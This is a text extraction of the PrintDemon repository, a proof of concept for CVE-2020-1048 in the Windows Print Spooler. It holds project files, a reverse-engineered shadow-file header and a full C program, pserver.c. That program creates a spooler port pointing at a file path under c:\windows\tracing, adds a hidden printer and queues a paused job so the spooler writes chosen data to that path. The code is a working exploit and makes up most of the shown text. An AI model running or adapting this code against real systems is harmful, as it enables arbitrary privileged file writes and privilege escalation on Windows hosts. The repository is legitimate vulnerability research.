		{26E2F7F8-6626-4F1C-8F23-26BAA7253CB2}.Release|x86.Build.0 = Release|Win32
	EndGlobalSection
	GlobalSection(SolutionProperties) = preSolution
		HideSolutionNode = FALSE
	EndGlobalSection
	GlobalSection(ExtensibilityGlobals) = postSolution
		SolutionGuid = {DB264CF3-973B-40A9-AA22-6BD94600603A}
	EndGlobalSection
EndGlobal


================================================
FILE: printserver/printserver.vcxproj
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup Label="ProjectConfigurations">
    <ProjectConfiguration Include="Debug|Win32">
      <Configuration>Debug</Configuration>
      <Platform>Win32</Platform>
    </ProjectConfiguration>
    <ProjectConfiguration Include="Release|Win32">
      <Configuration>Release</Configuration>
      <Platform>Win32</Platform>
    </ProjectConfiguration>
    <ProjectConfiguration Include="Debug|x64">
      <Configuration>Debug</Configuration>
      <Platform>x64</Platform>
    </ProjectConfiguration>
    <ProjectConfiguration Include="Release|x64">
      <Configuration>Release</Configuration>
      <Platform>x64</Platform>
    </ProjectConfiguration>
  </ItemGroup>
  <PropertyGroup Label="Globals">
    <VCProjectVersion>16.0</VCProjectVersion>
    <Keyword>Win32Proj</Keyword>
    <ProjectGuid>{b18a8548-199c-48bf-981b-18b8ca43fa9a}</ProjectGuid>
    <RootNamespace>printploit</RootNamespace>
    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
    <ProjectName>printserver</ProjectName>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
    <ConfigurationType>Application</ConfigurationType>
    <UseDebugLibraries>true</UseDebugLibraries>
    <PlatformToolset>v142</PlatformToolset>
    <CharacterSet>Unicode</CharacterSet>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
    <ConfigurationType>Application</ConfigurationType>
    <UseDebugLibraries>false</UseDebugLibraries>
    <PlatformToolset>v142</PlatformToolset>
    <CharacterSet>Unicode</CharacterSet>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
    <ConfigurationType>Application</ConfigurationType>
    <UseDebugLibraries>true</UseDebugLibraries>
    <PlatformToolset>v142</PlatformToolset>
    <CharacterSet>Unicode</CharacterSet>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
    <ConfigurationType>Application</ConfigurationType>
    <UseDebugLibraries>false</UseDebugLibraries>
    <PlatformToolset>v142</PlatformToolset>
    <CharacterSet>Unicode</CharacterSet>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
  <ImportGroup Label="ExtensionSettings">
  </ImportGroup>
  <ImportGroup Label="Shared">
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <PropertyGroup Label="UserMacros" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
    <LinkIncremental>true</LinkIncremental>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
    <LinkIncremental>false</LinkIncremental>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
    <LinkIncremental>true</LinkIncremental>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <LinkIncremental>false</LinkIncremental>
  </PropertyGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <SDLCheck>true</SDLCheck>
      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>true</ConformanceMode>
    </ClCompile>
    <Link>
      <SubSystem>Console</SubSystem>
      <GenerateDebugInformation>true</GenerateDebugInformation>
    </Link>
  </ItemDefinitionGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <FunctionLevelLinking>true</FunctionLevelLinking>
      <IntrinsicFunctions>true</IntrinsicFunctions>
      <SDLCheck>true</SDLCheck>
      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>true</ConformanceMode>
    </ClCompile>
    <Link>
      <SubSystem>Console</SubSystem>
      <EnableCOMDATFolding>true</EnableCOMDATFolding>
      <OptimizeReferences>true</OptimizeReferences>
      <GenerateDebugInformation>false</GenerateDebugInformation>
    </Link>
  </ItemDefinitionGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
    <ClCompile>
      <WarningLevel>Level4</WarningLevel>
      <SDLCheck>true</SDLCheck>
      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>true</ConformanceMode>
      <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
      <BasicRuntimeChecks>Default</BasicRuntimeChecks>
      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
      <BufferSecurityCheck>true</BufferSecurityCheck>
      <TreatWarningAsError>true</TreatWarningAsError>
    </ClCompile>
    <Link>
      <SubSystem>Console</SubSystem>
      <GenerateDebugInformation>true</GenerateDebugInformation>
      <AdditionalDependencies>ws2_32.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
      <UACExecutionLevel>AsInvoker</UACExecutionLevel>
      <EntryPointSymbol>
      </EntryPointSymbol>
      <IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
    </Link>
  </ItemDefinitionGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <FunctionLevelLinking>true</FunctionLevelLinking>
      <IntrinsicFunctions>true</IntrinsicFunctions>
      <SDLCheck>true</SDLCheck>
      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>true</ConformanceMode>
    </ClCompile>
    <Link>
      <SubSystem>Console</SubSystem>
      <EnableCOMDATFolding>true</EnableCOMDATFolding>
      <OptimizeReferences>true</OptimizeReferences>
      <GenerateDebugInformation>false</GenerateDebugInformation>
    </Link>
  </ItemDefinitionGroup>
  <ItemGroup>
    <ClCompile Include="pserver.c" />
  </ItemGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
  <ImportGroup Label="ExtensionTargets">
  </ImportGroup>
</Project>

================================================
FILE: printserver/pserver.c
================================================
#include <windows.h>
#include <stdio.h>

LPWSTR g_DriverName = L"Generic / Text Only";
LPWSTR g_PortName = L"c:\\windows\\tracing\\demoport.txt";
LPWSTR g_PrinterName = L"PrintDemon";

INT
main (
    _In_ INT ArgumentCount,
    _In_ PCHAR Arguments[]
    )
{
    HRESULT hr;
    PRINTER_INFO_2 printerInfo;
    HANDLE hPrinter;
    HANDLE hMonitor;
    BOOL bRes;
    DWORD dwNeeded, dwStatus;
    PRINTER_DEFAULTS printerDefaults;
    DWORD dwExists;
    struct
    {
        ADDJOB_INFO_1 jobInfo;
        WCHAR pathString[MAX_PATH];
    } job;
    BOOL bPrintWithSpooler;
    DWORD dwJobId;
    PCHAR printerData = "Hello! This is data from your printer :-)";
    DOC_INFO_1 docInfo;
    HANDLE hSpool;

    //
    // Initialize variables
    //
    UNREFERENCED_PARAMETER(Arguments);
    ZeroMemory(&job, sizeof(job));
    bPrintWithSpooler = TRUE;
    hPrinter = NULL;
    hMonitor = NULL;
    if (ArgumentCount > 1)
    {
        bPrintWithSpooler = FALSE;
    }

    //
    // Open a handle to the XCV port of the local spooler
    //
    printerDefaults.pDatatype = NULL;
    printerDefaults.pDevMode = NULL;
    printerDefaults.DesiredAccess = SERVER_ACCESS_ADMINISTER;
    bRes = OpenPrinter(L",XcvMonitor Local Port", &hMonitor, &printerDefaults);
    if (bRes == FALSE)
    {
        printf("Error opening XCV handle: %lx\n", GetLastError());
        goto CleanupPath;
    }

    //
    // Check if the target port name already exists 
    //
    dwNeeded = ((DWORD)wcslen(g_PortName) + 1) * sizeof(WCHAR);
    dwExists = 0;
    bRes = XcvData(hMonitor,
                    L"PortExists",
                    (LPBYTE)g_PortName,
                    dwNeeded,
                    (LPBYTE)&dwExists,
                    sizeof(dwExists),
                    &dwNeeded,
                    &dwStatus);
    if (dwExists == 0)
    {
        //
        // It doesn't, so create it!
        //
        dwNeeded = ((DWORD)wcslen(g_PortName) + 1) * sizeof(WCHAR);
        bRes = XcvData(hMonitor,
                        L"AddPort",
                        (LPBYTE)g_PortName,
                        dwNeeded,
                        NULL,
                        0,
                        &dwNeeded,
                        &dwStatus);
        if (bRes == FALSE)
        {
            printf("Failed to add port: %lx\n", dwStatus);
            goto CleanupPath;
        }
    }

    //
    // Check if the printer already exists
    //
    printerDefaults.pDatatype = NULL;
    printerDefaults.pDevMode = NULL;
    printerDefaults.DesiredAccess = PRINTER_ALL_ACCESS;
    bRes = OpenPrinter(g_PrinterName, &hPrinter, &printerDefaults);
    if ((bRes == FALSE) && (GetLastError() == ERROR_INVALID_PRINTER_NAME))
    {
        //
        // First, install the generic text only driver. Because this is already
        // installed, no privileges are required to do so.
        //
        hr = InstallPrinterDriverFromPackage(NULL, NULL, g_DriverName, NULL, 0);
        if (FAILED(hr))
        {
            printf("Failed to install print driver: %lx\n", hr);
            goto CleanupPath;
        }

        //
        // Now create a printer to attach to this port
        // This data must be valid and match what we created earlier
        //
        ZeroMemory(&printerInfo, sizeof(printerInfo));
        printerInfo.pPortName = g_PortName;
        printerInfo.pDriverName = g_DriverName;
        printerInfo.pPrinterName = g_PrinterName;

        //
        // This data must always be as indicated here
        //
        printerInfo.pPrintProcessor = L"WinPrint";
        printerInfo.pDatatype = L"RAW";

        //
        // This part is for fun/to find our printer easily
        //
        printerInfo.pComment = L"I'd be careful with this one...";
        printerInfo.pLocation = L"Inside of an exploit";
        printerInfo.Attributes = PRINTER_ATTRIBUTE_RAW_ONLY | PRINTER_ATTRIBUTE_HIDDEN;
        printerInfo.AveragePPM = 9001;
        hPrinter = AddPrinter(NULL, 2, (LPBYTE)&printerInfo);
        if (hPrinter == NULL)
        {
            printf("Failed to create printer: %lx\n", GetLastError());
            goto CleanupPath;
        }
    }

    //
    // Purge the printer of any previous jobs
    //
    bRes = SetPrinter(hPrinter, 0, NULL, PRINTER_CONTROL_PURGE);
    if (bRes == FALSE)
    {
        printf("Failed to purge jobs: %lx\n", GetLastError());
        goto CleanupPath;
    }

    //
    // Are we printing with GDI, or with the spooler?
    //
    if (bPrintWithSpooler == TRUE)
    {
        //
        // Manually add a new job
        //
        bRes = AddJob(hPrinter, 1, (LPBYTE)&job, sizeof(job), &dwNeeded);
        if (bRes == FALSE)
        {
            printf("Failed to add job: %lx\n", GetLastError());
            goto CleanupPath;
        }

        //
        // Save the Job ID
        //
        dwJobId = job.jobInfo.JobId;
    }
    else
    {
        //
        // Use the GDI API to start a new print job
        //
        docInfo.pDatatype = L"RAW";
        docInfo.pOutputFile = NULL;
        docInfo.pDocName = L"Ignore Me";
        dwJobId = StartDocPrinter(hPrinter, 1, (LPBYTE)&docInfo);
    }

    //
    // Pause it, so it never actually prints
    //
    printf("[+] Created Job ID: %d\n", dwJobId);
    bRes = SetJob(hPrinter, dwJobId, 0, NULL, JOB_CONTROL_PAUSE);
    if (bRes == FALSE)
    {
        printf("[-] Failed to pause job: %lx\n", GetLastError());
        goto CleanupPath;
    }

    //
    // Check if we're manually printing or using the GDI API
    //
    if (bPrintWithSpooler == TRUE)
    {
        //
        // Open the spooler file
        //
        printf("[.] Opening spooler job: %S\n", job.jobInfo.Path);
        hSpool = CreateFile(job.jobInfo.Path,
                            GENERIC_WRITE,
                            0,
                            NULL,
                            CREATE_NEW,
                            0,
                            NULL);
        if (hSpool == INVALID_HANDLE_VALUE)
        {
            printf("[-] Failed to open spooler file: %lx\n", GetLastError());
            goto CleanupPath;
        }

        //
        // Write the data
        //
        bRes = WriteFile(hSpool,
                         printerData,
                         (DWORD)strlen(printerData),
                         &dwNeeded,
                         NULL);
        if (bRes == FALSE)
        {
            printf("[-] Failed to write the spooler data: %lx\n", GetLastError());
            CloseHandle(hSpool);
            goto CleanupPath;
        }

        //
        // Done with the spooler file and schedule it
        //
        CloseHandle(hSpool);
        ScheduleJob(hPrinter, dwJobId);
    }
    else
    {
        //
        // Write the data
        //
        bRes = WritePrinter(hPrinter,
                            printerData,
                            (DWORD)strlen(printerData),
                            &dwNeeded);
        if (bRes == FALSE)
        {
            printf("[-] Failed to write the spooler data: %lx\n", GetLastError());
            goto CleanupPath;
        }

        //
        // Schedule the job for spooling
        //
        EndDocPrinter(hPrinter);
    }

    //
    // Wait for the client to read it
    //
    printf("[+] Launch client... and press ENTER after\n");
    getchar();

CleanupPath:
    //
    // Now delete the printer and close the handle
    //
    if (hPrinter != NULL)
    {
        bRes = DeletePrinter(hPrinter);
        if (bRes == FALSE)
        {
            //
            // Non fatal, this is the cleanup path
            //
            printf("[-] Failed to delete printer: %lx\n", GetLastError());
        }
        printf("[+] Printer deleted\n");
        ClosePrinter(hPrinter);
    }

    //
    // Cleanup our port
    //
    if (hMonitor != NULL)
    {
        dwNeeded = ((DWORD)wcslen(g_PortName) + 1) * sizeof(WCHAR);
        bRes = XcvData(hMonitor,
                       L"DeletePort",
                       (LPBYTE)g_PortName,
                       dwNeeded,
                       NULL,
                       0,
                       &dwNeeded,
                       &dwStatus);
        if (bRes == FALSE)
        {
            //
            // Non fatal, this is the cleanup path
            //
            printf("[-] Failed to delete port: %lx\n", GetLastError());
        }

        //
        // Close the monitor port
        //
        printf("[+] Port deleted\n");
        ClosePrinter(hMonitor);
    }
    return 0;
}


================================================
FILE: shdfile4.h
================================================
/*++

    Copyright (C) Alex Ionescu. All rights reserved.
    Copyright (C) Microsoft Corporation. All rights reserved.

Module Name:

    shdfile4.h

Abstract:

    Contains the definition of SHADOWFILE_4 reverse engineered for Windows 10

Environment:

    User Mode

Revision History:

    Added definition for Windows 10 Shadow Files - ionescu007 - 12 May 20

--*/

#define SF_SIGNATURE_4      0x5123  /* 'Q#' is the signature value */
#define SF_VERSION_4        4
typedef struct _SHADOWFILE_4
{
    DWORD signature;
    DWORD HeaderSize;
    DWORD Status;
    DWORD JobId;
    DWORD Priority;
    LPWSTR pNotify;
    LPWSTR pUser;
    LPWSTR pDocument;
    LPWSTR pOutputFile;
    LPWSTR pPrinterName;
    LPWSTR pDriverName;
    LPDEVMODE pDevMode;
    LPWSTR pPrintProcName;
    LPWSTR pDatatype;
    LPWSTR pParameters;
    SYSTEMTIME Submitted;
    DWORD StartTime;
    DWORD UntilTime;
    DWORD Size;
    DWORD cPages;
    DWORD cbSecurityDescriptor;
    PSECURITY_DESCRIPTOR pSecurityDescriptor;
    DWORD NextJobId;
    DWORD Version;
    DWORD dwReboots;
    LPWSTR pMachineName;
    DWORD TotalSize;
    LPWSTR pUserSid;
    LPWSTR pFilePool;
    DWORD SizeHigh;
    DWORD TotalSizeHigh;
    DWORD NamedPropertiesSize;
    LPWSTR NamedProperties;
} SHADOWFILE_4, *PSHADOWFILE_4;
#ifdef _M_AMD64
C_ASSERT(sizeof(SHADOWFILE_4) == 0xE0);
#endif
Download .txt
gitextract_wetu7rbf/

├── .gitignore
├── LICENSE
├── README.md
├── printclient/
│   ├── pclient.c
│   └── printclient.vcxproj
├── printdemon.sln
├── printserver/
│   ├── printserver.vcxproj
│   └── pserver.c
└── shdfile4.h
Download .txt
SYMBOL INDEX (3 symbols across 3 files)

FILE: printclient/pclient.c
  function INT (line 5) | INT

FILE: printserver/pserver.c
  function INT (line 8) | INT

FILE: shdfile4.h
  type SHADOWFILE_4 (line 26) | typedef struct _SHADOWFILE_4
Condensed preview — 9 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (50K chars).
[
  {
    "path": ".gitignore",
    "chars": 6002,
    "preview": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n##\n## G"
  },
  {
    "path": "LICENSE",
    "chars": 1069,
    "preview": "MIT License\n\nCopyright (c) 2020 Alex Ionescu\n\nPermission is hereby granted, free of charge, to any person obtaining a co"
  },
  {
    "path": "README.md",
    "chars": 257,
    "preview": "# PrintDemon (CVE-2020-1048)\n\nPrintDemon is a PoC for a series of issues in the Windows Print Spooler service, as well a"
  },
  {
    "path": "printclient/pclient.c",
    "chars": 13456,
    "preview": "#include <windows.h>\n#include <stdio.h>\n#include \"..\\shdfile4.h\"\n\nINT\nmain(\n    _In_ INT ArgumentCount,\n    _In_ PCHAR A"
  },
  {
    "path": "printclient/printclient.vcxproj",
    "chars": 6978,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msb"
  },
  {
    "path": "printdemon.sln",
    "chars": 2174,
    "preview": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 16\nVisualStudioVersion = 16.0.2991"
  },
  {
    "path": "printserver/printserver.vcxproj",
    "chars": 7677,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msb"
  },
  {
    "path": "printserver/pserver.c",
    "chars": 8545,
    "preview": "#include <windows.h>\n#include <stdio.h>\n\nLPWSTR g_DriverName = L\"Generic / Text Only\";\nLPWSTR g_PortName = L\"c:\\\\windows"
  },
  {
    "path": "shdfile4.h",
    "chars": 1359,
    "preview": "/*++\n\n    Copyright (C) Alex Ionescu. All rights reserved.\n    Copyright (C) Microsoft Corporation. All rights reserved."
  }
]

About this extraction

This page contains the full source code of the ionescu007/PrintDemon GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 9 files (46.4 KB), approximately 12.7k tokens, and a symbol index with 3 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!